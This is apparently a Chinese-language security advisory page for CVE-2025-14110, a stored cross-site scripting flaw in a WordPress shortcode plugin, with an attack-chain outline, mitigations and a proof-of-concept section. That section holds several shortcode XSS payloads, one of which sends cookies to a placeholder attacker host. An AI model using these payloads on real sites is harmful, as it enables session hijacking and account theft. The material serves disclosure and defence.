IPBUF安全漏洞报告
English
CVE-2025-14110 CVSS 6.4 中危

CVE-2025-14110 WordPress WP Js List Pages Shortcodes插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14110
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Js List Pages Shortcodes WordPress插件

相关标签

CVE-2025-14110存储型XSSWordPress插件漏洞短代码注入WP Js List Pages ShortcodesCross-Site ScriptingAuthenticated XSSWordPress安全

漏洞概述

CVE-2025-14110是WordPress插件WP Js List Pages Shortcodes中的一个高危安全漏洞。该插件用于在WordPress页面中通过shortcode方式列出JS页面内容。漏洞源于插件在处理shortcode属性时,特别是'class'属性,缺少充分的输入清理和输出转义机制。攻击者利用此漏洞可以在页面中注入任意JavaScript代码,这些恶意代码会被永久存储在数据库中。当其他用户访问包含恶意代码的页面时,攻击脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。由于该插件的shortcode功能在页面文章中广泛使用,攻击者只需具备Contributor级别权限即可实施攻击,门槛相对较低。漏洞影响版本从插件发布至今的所有版本(<=1.21),影响范围广泛。建议用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞是一个典型的存储型跨站脚本(Stored XSS)漏洞。在WP Js List Pages Shortcodes插件的shortcode处理逻辑中,'class'属性值被直接拼接到HTML输出中而未经过适当的转义处理。具体来说,插件在js-list-pages-shortcodes.php文件的第58行(标签1.21版本)和第47、50、58行(trunk版本)处理shortcode属性时,直接将用户可控的class参数值输出到HTML标签的class属性中。攻击者可以通过构造包含恶意JavaScript代码的class属性值,如:onerror=alert(document.cookie),来注入脚本。由于该输出会永久存储在WordPress数据库中,所有访问该页面的用户都会受到攻击。攻击条件要求攻击者具有WordPress Contributor角色或更高权限,能够创建或编辑文章内容。此类权限在多用户WordPress站点中较为常见,如博客、新闻网站等。成功利用后,攻击者可窃取用户会话cookie、进行钓鱼操作或修改页面内容。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标网站使用的WordPress版本和WP Js List Pages Shortcodes插件,确认插件版本 <= 1.21
STEP 2
权限获取
攻击者获取WordPress Contributor级别或更高权限的账户,可通过社会工程、凭证填充或利用其他漏洞获得
STEP 3
恶意代码构造
攻击者构造包含XSS payload的shortcode,重点利用class属性注入恶意JavaScript代码
STEP 4
植入恶意内容
通过WordPress后台编辑器或API,将恶意shortcode插入到文章或页面内容中并发布
STEP 5
持久化存储
恶意shortcode随页面内容被永久存储在WordPress数据库中,成为存储型XSS
STEP 6
触发执行
当普通用户访问包含恶意内容的页面时,浏览器解析HTML并执行注入的JavaScript代码
STEP 7
攻击成功
攻击者通过XSS成功窃取用户会话cookie、劫持账户或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Shortcode XSS PoC for CVE-2025-14110 --> <!-- Author: Security Researcher --> <!-- Target: WP Js List Pages Shortcodes <= 1.21 --> <!-- PoC 1: Basic XSS via class attribute --> [wplps class='"><script>alert(document.cookie)</script>'] <!-- PoC 2: Event handler based XSS --> [wplps class='x' onmouseover='alert(document.domain)'] <!-- PoC 3: Image tag XSS (bypasses some filters) --> [wplps class='x' onerror='fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- PoC 4: Stored XSS with context manipulation --> [wplps class='test\" onfocus=\"alert(1)\" autofocus=\"'] <!-- Usage: Insert any of the above shortcodes into a WordPress post/page --> <!-- When any user views the page, the XSS payload will execute --> <!-- The stored payload persists until manually removed from the content -->

影响范围

WP Js List Pages Shortcodes <= 1.21 (所有版本)

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)暂时禁用WP Js List Pages Shortcodes插件;2)使用WordPress安全插件配置严格的XSS防护规则;3)限制具有文章编辑权限的用户账户;4)手动审查所有包含[wplps] shortcode的文章内容,移除可疑的class属性值;5)实施严格的Content Security Policy以降低XSS影响;6)监控网站访问日志,关注异常的JavaScript请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表